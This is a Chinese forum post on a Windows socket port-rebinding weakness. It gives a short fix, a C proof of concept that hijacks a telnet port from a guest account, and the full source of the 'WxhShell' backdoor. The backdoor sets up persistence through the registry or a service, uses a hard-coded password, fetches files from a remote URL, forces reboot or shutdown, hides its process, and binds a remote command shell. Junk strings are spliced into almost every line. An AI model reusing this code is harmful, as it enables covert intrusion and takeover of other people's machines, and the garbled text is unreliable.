在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Yl#Rib s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
.Jrqm v%s`~~u%^ saddr.sin_family = AF_INET;
(''M{n ~YRDyQ:%T saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Mc%Nf$XQ UF<uU-C" bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
fe_yqIdk CO2C{~Q5 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
]zQo>W$ ;r>snJ=M 这意味着什么?意味着可以进行如下的攻击:
+tk{"s^r* .$%Soyr?, 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
4)"n
RjGg
}f8Uc+ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
u#V5?i `>?ra- 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
{
Q`QX`# ALNc'MW! 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
L2pp6bW )d$glI+ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
9v}G{mQ# u\LFlX0sO 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
q|v(Edt|_[ ]"1`+q6i 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
I-WhH>9 0em#-*|2" #include
YR>B_,Gl #include
& M~`:R #include
LF~*^n> #include
Ircp``g DWORD WINAPI ClientThread(LPVOID lpParam);
9f',7i int main()
ZP;j9T! {
_=NwQu\_F WORD wVersionRequested;
}p!HT6 tZ DWORD ret;
/u0'
6V WSADATA wsaData;
5fm?Lxr&? BOOL val;
kIGbG;"_ SOCKADDR_IN saddr;
niqN{ SOCKADDR_IN scaddr;
`xywho%/Y int err;
gOr%!QaF SOCKET s;
`S2[5i SOCKET sc;
8g:;)u4$P int caddsize;
BVr0Gk HANDLE mt;
v|Yh w DWORD tid;
&g.+V/<[ wVersionRequested = MAKEWORD( 2, 2 );
L. EiO({W err = WSAStartup( wVersionRequested, &wsaData );
VA9Gb9 if ( err != 0 ) {
%_(H{y_! printf("error!WSAStartup failed!\n");
m^H21P"z return -1;
mdq;R*` }
r; xLP saddr.sin_family = AF_INET;
{.De4]ANh CMCO}# //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
|R56ho5C e?Ho a$k saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
98WZ){+,m saddr.sin_port = htons(23);
Rhe Re if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
@~#Ym1{W {
qOUqs'7/] printf("error!socket failed!\n");
rDQ!zlg>l return -1;
c{&*w")J }
w^#L9i'v' val = TRUE;
fuA&7gNC //SO_REUSEADDR选项就是可以实现端口重绑定的
|{@8m9JR if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
>zhO7,=, {
}t;(VynV) printf("error!setsockopt failed!\n");
V0%V5> return -1;
-W<vyNSr }
^.hoLwp. //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
kf;/c}} //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
s7l;\XBy //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
a9T@$: :{ur{m5bX if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
8Y_ol#\L {
Vg>( Y, ret=GetLastError();
U
R%4@ printf("error!bind failed!\n");
i-'9AYyw return -1;
:OkT? (i }
j8n4fv-)f listen(s,2);
A5H3%o(6k while(1)
#fL8Kq {
\igmv]G% caddsize = sizeof(scaddr);
G
<uyin> //接受连接请求
GQl$yZaK{ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
+8#_59;x if(sc!=INVALID_SOCKET)
;?6No(/ {
r} P<iX mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
c1_5, 1U' if(mt==NULL)
;]w<&C!= {
Udc=,yo3Qm printf("Thread Creat Failed!\n");
q~59F@ break;
oXDN+4ge }
)6w}<W*1E }
fnNYX]_bk CloseHandle(mt);
T`9u!#mT= }
VL/|tL>E^ closesocket(s);
mCWhUBghR WSACleanup();
BA:yQ return 0;
2PeR }
-YjA+XP DWORD WINAPI ClientThread(LPVOID lpParam)
\/SQ,*O {
H{AMZyV0/d SOCKET ss = (SOCKET)lpParam;
PI~1GyJr@; SOCKET sc;
[b/k3&O' unsigned char buf[4096];
tBm_YP[ SOCKADDR_IN saddr;
?0
m\(# long num;
vNeCpf DWORD val;
.!6>oL/iF DWORD ret;
tU^kQR! //如果是隐藏端口应用的话,可以在此处加一些判断
+4,2<\fX //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
5hbJOo0BZ saddr.sin_family = AF_INET;
h8X g`C\ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
)
gzR=9l saddr.sin_port = htons(23);
hxf'5uc if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
8srBHslI {
b-Z4
Jo
G printf("error!socket failed!\n");
Kv@eI$t5 return -1;
xxm%u9@s }
v"MX>^/< val = 100;
] )"u+ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{w8 NN-n {
U^.4Hy&D ret = GetLastError();
)OLq_':^@ return -1;
TP}h~8 /; }
R.s^o]vT if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Ic{F*nnM {
xEltwuDd? ret = GetLastError();
A+&xMM2Wj return -1;
2TES>} }
F*Z=<]<+ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
$XU5??8 {
"iM~Hy printf("error!socket connect failed!\n");
K9kUS closesocket(sc);
NB7Y{)
w closesocket(ss);
.,i(2^ return -1;
*1'`"D~ }
jV/CQM5a+ while(1)
>?]_<: {
y?)}8T^ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
J j=; //如果是嗅探内容的话,可以再此处进行内容分析和记录
WA$>pG5s //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
`Rdm-[& num = recv(ss,buf,4096,0);
CAU0)=M if(num>0)
0vGyI> send(sc,buf,num,0);
;oxAe<VIj else if(num==0)
^Q{Bq break;
H3H_u4_?SE num = recv(sc,buf,4096,0);
/R
LI,.% if(num>0)
@O}7XRJ_8 send(ss,buf,num,0);
Z Dhx5SL& else if(num==0)
m,R Dr break;
axk"^gps }
s 1ge0~p3 closesocket(ss);
aP&D9%5 closesocket(sc);
}6-ZE9H-v return 0 ;
ZL<
MC~ }
\#rO!z
d CN2_bz P0i V<T4^ ==========================================================
phYDs9-K /U$8TT8+- 下边附上一个代码,,WXhSHELL
45@]:2j 5y}
v{Ijt ==========================================================
oW$s
xS }Z`(aDH #include "stdafx.h"
T}D<Sc t0#[#I1+ #include <stdio.h>
}4>JO"" #include <string.h>
WV"jH9"[ #include <windows.h>
6] z}#" #include <winsock2.h>
)B!d,HKt; #include <winsvc.h>
A
K/z6XGy #include <urlmon.h>
8yWoPm<A %vO<9fE|1 #pragma comment (lib, "Ws2_32.lib")
.A1\J@b #pragma comment (lib, "urlmon.lib")
+ q''y kzq29S #define MAX_USER 100 // 最大客户端连接数
]feyJLF #define BUF_SOCK 200 // sock buffer
3"UsZyN: #define KEY_BUFF 255 // 输入 buffer
ue8qIZH ibdO*E #define REBOOT 0 // 重启
'+*-s7o{ #define SHUTDOWN 1 // 关机
O!Wd5Y Q0{z).&\(e #define DEF_PORT 5000 // 监听端口
tJ=di5& . -"E^f #define REG_LEN 16 // 注册表键长度
(shK #define SVC_LEN 80 // NT服务名长度
>?YNW {6d b{ ay_ // 从dll定义API
-Y:ROoFOZ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
|c2v%'J2G typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
8@M'[jT typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
N8!TZ~1$ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
S^f:`9ab9
df=zF.5 // wxhshell配置信息
z{BA4sn struct WSCFG {
m_!U}! int ws_port; // 监听端口
NNa1EXZ[ char ws_passstr[REG_LEN]; // 口令
2N~ E' 25 int ws_autoins; // 安装标记, 1=yes 0=no
z}.D"
P+ char ws_regname[REG_LEN]; // 注册表键名
cX
A t:m char ws_svcname[REG_LEN]; // 服务名
1Qh`6Ya f char ws_svcdisp[SVC_LEN]; // 服务显示名
]v5-~E! char ws_svcdesc[SVC_LEN]; // 服务描述信息
Y'Z+, CNf char ws_passmsg[SVC_LEN]; // 密码输入提示信息
HXJ9xkrr int ws_downexe; // 下载执行标记, 1=yes 0=no
-U>7
H`5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
(tl}q3U char ws_filenam[SVC_LEN]; // 下载后保存的文件名
rwpgBl 0]x;n+G[q };
>&H~nGP. t#<KxwhcN // default Wxhshell configuration
hN(L@0) struct WSCFG wscfg={DEF_PORT,
Z,WW]Y,$ "xuhuanlingzhe",
{@r*+~C3 1,
.dI)R40L/\ "Wxhshell",
g-yi xU "Wxhshell",
}.:d#]g8 "WxhShell Service",
}#= Od e "Wrsky Windows CmdShell Service",
[.q(h/b "Please Input Your Password: ",
vZajT!h 1,
K@@9:T$ "
http://www.wrsky.com/wxhshell.exe",
j[P8 "Wxhshell.exe"
o A~4p( };
`W[+%b XLTD;[jO // 消息定义模块
rF'R>/H char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
daOS8_py char *msg_ws_prompt="\n\r? for help\n\r#>";
>$F:*lO char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
XKq@]=\F char *msg_ws_ext="\n\rExit.";
Qa$NBNxKl char *msg_ws_end="\n\rQuit.";
74zSP/G' char *msg_ws_boot="\n\rReboot...";
,w&:_n char *msg_ws_poff="\n\rShutdown...";
K!b8= K` char *msg_ws_down="\n\rSave to ";
pIVq("& 8mgQu]> char *msg_ws_err="\n\rErr!";
n=`w9qajd char *msg_ws_ok="\n\rOK!";
<{019Oa fQQ|gwVki char ExeFile[MAX_PATH];
e`sw*m5 int nUser = 0;
}f}IA\8] HANDLE handles[MAX_USER];
.^XHuN& int OsIsNt;
_@E "7<\ p(7QAd4 SERVICE_STATUS serviceStatus;
VjTe4$ * SERVICE_STATUS_HANDLE hServiceStatusHandle;
g8yN%)[ 3
Lje<KzL // 函数声明
^'B-sz{{ int Install(void);
V:\]cGA{ int Uninstall(void);
8Inx/>eOI int DownloadFile(char *sURL, SOCKET wsh);
WOO%YU = int Boot(int flag);
+8UdvMN void HideProc(void);
pN$;! int GetOsVer(void);
\$;~74} int Wxhshell(SOCKET wsl);
Z5>V{o void TalkWithClient(void *cs);
j,t~ int CmdShell(SOCKET sock);
e d;"bb int StartFromService(void);
b~W)S/wF$P int StartWxhshell(LPSTR lpCmdLine);
8^w/HCC8O \|Qb[{<:, VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
p^8JLC VOID WINAPI NTServiceHandler( DWORD fdwControl );
]
C,1%( 6wpU6NU // 数据结构和表定义
;i9>}]6 SERVICE_TABLE_ENTRY DispatchTable[] =
>Me]m<$E; {
B~_Spp {wscfg.ws_svcname, NTServiceMain},
>Zdi5')
5 {NULL, NULL}
UE)fUTS };
baIbf@t/ l7Lj[d<n // 自我安装
>h[(w int Install(void)
sA\L7`2H {
M@O2
WB1ws char svExeFile[MAX_PATH];
sPpS~wk* HKEY key;
nx;$dxx_Ws strcpy(svExeFile,ExeFile);
9-G b"hr aQmfrx // 如果是win9x系统,修改注册表设为自启动
u&SZlkf6% if(!OsIsNt) {
k2OM="Ei} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
y#bK,} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
jvO3_Zt9 RegCloseKey(key);
hrT%XJl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
QSmJ`Bm RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`Z8^+AMc RegCloseKey(key);
0IFlEe[># return 0;
sJ7sjrEp1 }
</yo9. }
lzoeST }
VV\Xb31J else {
!2tw, QM ru(J5+H // 如果是NT以上系统,安装为系统服务
SKJW%(|3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
~BQV]BJ7 if (schSCManager!=0)
Bhx<g&|j {
_vIO!*h0 SC_HANDLE schService = CreateService
fkBLrw (
k<, u0 schSCManager,
&GU@8 wscfg.ws_svcname,
/p}{#DLB wscfg.ws_svcdisp,
*]'qLL7d SERVICE_ALL_ACCESS,
F(E<,l2[ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
V{FE [v_ SERVICE_AUTO_START,
?C~X@sq SERVICE_ERROR_NORMAL,
#|ddyCg2 svExeFile,
cdN/Qy NULL,
!Y|8z\Q NULL,
fPrb% NULL,
Ivjw<XP6K NULL,
IwM8#6;S~ NULL
v D&Kae< );
*) }
:l if (schService!=0)
v\'rXy {
H1C%o0CPY CloseServiceHandle(schService);
Me<du&
T CloseServiceHandle(schSCManager);
\KNdZC?V2 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
r!~(R+,c strcat(svExeFile,wscfg.ws_svcname);
rV~T>x if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
`11#J;[@G RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
wH#-mu#Yl< RegCloseKey(key);
Tr$i=
M return 0;
e^Aa! }
jPpRsw> }
eB7>t@ED CloseServiceHandle(schSCManager);
&
L3UlL }
t5n2eOy~T }
U81;7L8 lc"qqt return 1;
[='p!7z }
s1Okoxh/!V m'SmN{(t // 自我卸载
y 3IA ' int Uninstall(void)
RE*WM3QK~ {
o|+E+l9\ HKEY key;
FXeV6zfrE =Iy/cHK if(!OsIsNt) {
6QW<RXom if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Yg$@ Wb6 RegDeleteValue(key,wscfg.ws_regname);
'1]+8E
`Z RegCloseKey(key);
zfirb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
n'ehB%" RegDeleteValue(key,wscfg.ws_regname);
XL&hs+Y RegCloseKey(key);
C#ZhsWS!b return 0;
Y=3X9%v9g }
ckAsGF_B~! }
QP+c?ct}hF }
'xsbm^n6a& else {
%
<^[j^j}o G{/; AK SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
pK<%<dIc if (schSCManager!=0)
,;7`{Nab {
E3LBPXK SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
7TnM4@*f if (schService!=0)
u>81dO]H {
xJN |w\& if(DeleteService(schService)!=0) {
'N*!>mZ<
CloseServiceHandle(schService);
kpl~/i`4 CloseServiceHandle(schSCManager);
=?wMESU return 0;
Gee~>:_Q{J }
lD9%xCo9( CloseServiceHandle(schService);
g)X7FxS,z }
HgYc@P*b CloseServiceHandle(schSCManager);
@l)\?IEF@f }
(rAiDRQ[ }
)\D2\1e(c uXjoGcW return 1;
Q^[e/U, }
FPvuzBJ (%6(5,
// 从指定url下载文件
k\nH&nb int DownloadFile(char *sURL, SOCKET wsh)
7[4_+Q:} {
^GE^Q\&D& HRESULT hr;
=d}gv6v2S char seps[]= "/";
*Yj~]E0`1 char *token;
+:fqL char *file;
5r^1CFO char myURL[MAX_PATH];
Qk+=znJ char myFILE[MAX_PATH];
W]Y@WKeT GSC{F#:z strcpy(myURL,sURL);
?]s%(R,B5 token=strtok(myURL,seps);
NY.}uZ while(token!=NULL)
u82h6s<'W {
IO^:FnJJv file=token;
~g*Y,
Y token=strtok(NULL,seps);
@bc[
eas }
>_&~!Y.Z= O~$ {&( GetCurrentDirectory(MAX_PATH,myFILE);
P/C&R-{') strcat(myFILE, "\\");
S&5Q~}{, strcat(myFILE, file);
mfu*o0 send(wsh,myFILE,strlen(myFILE),0);
g8LT7 send(wsh,"...",3,0);
fL(':W&n- hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
5ze`IY if(hr==S_OK)
I/mvQxp return 0;
!'Pk
jP else
VV?]U$ return 1;
Y0 @'za^y j|&{e91,? }
V xp$#3 ;S O|HIO&M // 系统电源模块
J"/JRn int Boot(int flag)
5dg-d\6S {
UN-T^ HANDLE hToken;
\R6;Fef TOKEN_PRIVILEGES tkp;
E}]I%fi F5<"ktnI if(OsIsNt) {
G/NTe OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
;[FW! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
KYnW7|* tkp.PrivilegeCount = 1;
Sg/:n,68 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
!S~,>,yd AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
eFt\D\XOW if(flag==REBOOT) {
&=v/VRan[ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
<^CYxy return 0;
I++W0wa.n }
%T`4!:vy else {
q:TZ=bs^ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
fn1 ?Qp| return 0;
H;b8I }
tn"Y9
k| }
ATKYjhc _ else {
^zvA?'s if(flag==REBOOT) {
x?%rx}h if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
A8\U
CG return 0;
@`w' }
B.]qrS| else {
66I|0_ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
P3+)pOE-SI return 0;
S1D9AcK }
9
eSN+q }
t7{L[C$ K)yCrEZ return 1;
"WF(
6z# }
E9yFREvQc S
23S.]r // win9x进程隐藏模块
X)`(nj void HideProc(void)
xDPQG`6 {
wm); aWP s,eld@ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
mr:kn0 if ( hKernel != NULL )
^/_\etV {
M[:O( pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
F,'^se4& ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
:NwMb^> FreeLibrary(hKernel);
)z]q"s5 Y }
:N^@a- NWo7wVwc/c return;
Ybs=W<- }
n.2E8m/ 3v9gb,)y\ // 获取操作系统版本
uS!
35{.> int GetOsVer(void)
1$='`@8I {
t 3(%UB OSVERSIONINFO winfo;
o~i]W.SI( winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
8gVxiFjo GetVersionEx(&winfo);
*k3 d^9o# if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
B(4:_j\2 return 1;
Z]mM else
/E`l:&89) return 0;
l%sp[uqcg }
{ED(O-W 5]4<!m // 客户端句柄模块
6MLN>)t int Wxhshell(SOCKET wsl)
6.
+[
z {
2+T 8Y,g SOCKET wsh;
n:5O9,umZ struct sockaddr_in client;
?=;e.qK=71 DWORD myID;
es.\e.HK ,cGwtt( while(nUser<MAX_USER)
,Az`6PW {
Rxvd+8FF int nSize=sizeof(client);
Ft%TnEp wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
T+AlcOP if(wsh==INVALID_SOCKET) return 1;
4i+PiD:H % +kT handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
37:b D if(handles[nUser]==0)
.LXh]I* closesocket(wsh);
%{N$1ht^ else
ch5`fm nUser++;
H6%!v1 u }
R,d70w
(_ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
%=NM_5a}] ooLnJY# return 0;
`}k&HRn }
#a7Amh\nT }#\;np // 关闭 socket
E< zT void CloseIt(SOCKET wsh)
Q.pEUDq/ {
h}anTFKP closesocket(wsh);
w-0O j nUser--;
a'_MhJ zs ExitThread(0);
\p>]G[g }
Y^c,mK^ X] JpS // 客户端请求句柄
C0t+Q void TalkWithClient(void *cs)
,E*a$cCw {
?RRSrr1 bMqu5G_q SOCKET wsh=(SOCKET)cs;
s3MMICRT. char pwd[SVC_LEN];
"W_jdE6v char cmd[KEY_BUFF];
w+).pcG(* char chr[1];
NgE&KPj\ int i,j;
jM3Y|}+ !_XU^A> while (nUser < MAX_USER) {
\pewbu5^ #FQm/Q<0 if(wscfg.ws_passstr) {
)5GdvqA if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
hSx+{4PZ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
$+lz<~R //ZeroMemory(pwd,KEY_BUFF);
G)tq/`zNw i=0;
E1l\~%A while(i<SVC_LEN) {
4P O%qO yv!''F:9F // 设置超时
TzevC$m;z fd_set FdRead;
X5L(_0?F1 struct timeval TimeOut;
|7S4; FD_ZERO(&FdRead);
7kX7\[zN FD_SET(wsh,&FdRead);
2vh!pez_ TimeOut.tv_sec=8;
JL.ydH79 TimeOut.tv_usec=0;
(:fE _H2z int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
-_{C+Y_ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
l$p_])x (Qx-KRH if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
VeN&rjc pwd
=chr[0]; T4H oSei
if(chr[0]==0xd || chr[0]==0xa) { _M"$5
T
pwd=0; I7q?V1fu4
break; k[r./xEv+t
} !dbA (
i++; ^EuyvftZ
} os(Jr!p_=
w}U5dM`
// 如果是非法用户,关闭 socket (AM,4)lW,
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .kB3jfw0,
} +9Hk+.
=|6^)lt$
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TN |{P
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l|ZzG4]+l
9?}rpA`P
while(1) { 0>~6Z
_V7^sk!
ZeroMemory(cmd,KEY_BUFF); -;@5Ua1uf
"#\bQf}
// 自动支持客户端 telnet标准 A=qW]Im
j=0; $^NWzc
while(j<KEY_BUFF) { WfTdD.Xx
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uG(~m_7Hx
cmd[j]=chr[0]; ,s yA()
if(chr[0]==0xa || chr[0]==0xd) { :d%
-,v
cmd[j]=0; 9A}
kkMB:
break; j0pvLZjM
} :_~PU$%0
j++; H%NLL4&wu
} LKf5r,C
!aW*dD61
// 下载文件 %8}ksl07
if(strstr(cmd,"http://")) { 7u`}t83a
send(wsh,msg_ws_down,strlen(msg_ws_down),0); #hE3~+i
if(DownloadFile(cmd,wsh)) o$blPTN
send(wsh,msg_ws_err,strlen(msg_ws_err),0); V&,<,iNN
else 5cNzG4z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qh(-shZ4Du
} UwL"%0u
else { jzJ1+/9
rt@-Pw!B
switch(cmd[0]) { -4^@)~Y
WW\)B-}T
// 帮助 dnX`F5zd
case '?': { ,[ J'!NC1
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >nIcFm
break; L1Cn
} +{Jf]"KD
// 安装 tls6rto
case 'i': { 0ZID
@^
if(Install()) bZOy~F|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <k-@R!K~JC
else U70@}5!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R8r[;u\iV
break; H`6Jq?\
}
S9"y@F
<
// 卸载 VU+ s7L0
case 'r': { -{:LxE
if(Uninstall()) FvI0 J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dVmAMQk.g
else <1g 1hqK3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E-U;8cOMv
break; 0Li'a{n 2
} 9}qfdbI
// 显示 wxhshell 所在路径 c7nk~K[6
case 'p': { fkv{\zN
char svExeFile[MAX_PATH]; N>6yacTB
strcpy(svExeFile,"\n\r"); w`#0
Y9O
strcat(svExeFile,ExeFile); m/F(h-?
send(wsh,svExeFile,strlen(svExeFile),0); Zz)oMw
break; \I,Dje/:w
} !,JT91
// 重启 /DG`Hg
case 'b': { U9p.Dh~)vG
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x{`<);CQ
if(Boot(REBOOT)) hzPB~obC
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
jQ\
MB
else { zS"zb
closesocket(wsh); b{|/J <Fe
ExitThread(0); W$MEbf%1
} iQ}sp64
break; *6x^w%=A
} :qSi>KCGh
// 关机 )|^<woli,
case 'd': { >yT@?!/Q>'
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zm3MOH^a
if(Boot(SHUTDOWN)) ~lalc ^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); gl7vM
else { "1`i]Y\'
closesocket(wsh); M Xt +
ExitThread(0); ]S2[eS
} 6!Ji>h.Ak
break; _:=OHURc
} O<d?'{
// 获取shell vb ^!(
case 's': { ~S=fMv^BR
CmdShell(wsh); [@)z $W
closesocket(wsh); gJFpEA {
ExitThread(0); $*)(8C l
break; 0)Xue9AS
} cLko
// 退出 'SD|ObBY
case 'x': { Y <i}"eI*
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *DI:MBJY
CloseIt(wsh); }!7DF
break; k$x
'v#
} 8 8=c3^
// 离开 E0B2>V
case 'q': { rB&j"p}Q
send(wsh,msg_ws_end,strlen(msg_ws_end),0); dpn&)?f
closesocket(wsh); 8YLZ)k'
WSACleanup(); t5v)6|
exit(1); GH+FZ (F
break; ;s
B:s9M
} U W)&Eky
} FjLv*K[#d
} 5<BV\'
E4aCGg
// 提示信息 'W2$wN+P
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TNT"2FoBd
} GKx,6E#JM
} @P5@&G
VJtTbt;>
return; <9.7 gwzE
} +:Q/<^Z
otH[?c?BT
// shell模块句柄 Q2pboZ86
int CmdShell(SOCKET sock) EC!Cv;'
{ k|c0tvp
STARTUPINFO si; YGpp:8pen
ZeroMemory(&si,sizeof(si)); x7kg_`\U
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Jq<`j<'9
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CJtjn
PROCESS_INFORMATION ProcessInfo; `1}?{ud
char cmdline[]="cmd"; `iayh
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y{|~A
return 0; -j=&